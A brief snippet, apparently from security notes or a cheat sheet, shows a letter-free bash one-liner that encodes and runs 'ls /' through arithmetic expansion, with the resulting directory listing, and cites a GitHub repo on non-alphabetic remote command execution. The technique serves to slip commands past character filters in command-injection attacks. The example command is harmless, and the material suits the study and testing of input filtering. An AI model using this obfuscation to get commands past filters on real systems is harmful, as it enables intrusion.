Without alphabet

# https://github.com/dr0n1/nonalpha_rce_bash

# ls /
bash$ __=$(())&&___=$((++__))&&____=$((++___))&&_____=$(())&&${!_____}<<<${!_____}\<\<\<\$\'\\$((${____}#${__}${_____}${_____}${__}${__}${_____}${__}${_____}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}${__}${__}))\\$((${____}#${__}${_____}${__}${_____}${_____}${_____}))\\$((${____}#${__}${__}${__}${_____}${_____}${__}))\'
Applications    Users           cores           home            sbin            var
Library         Volumes         dev             opt             tmp
System          bin             etc             private         usr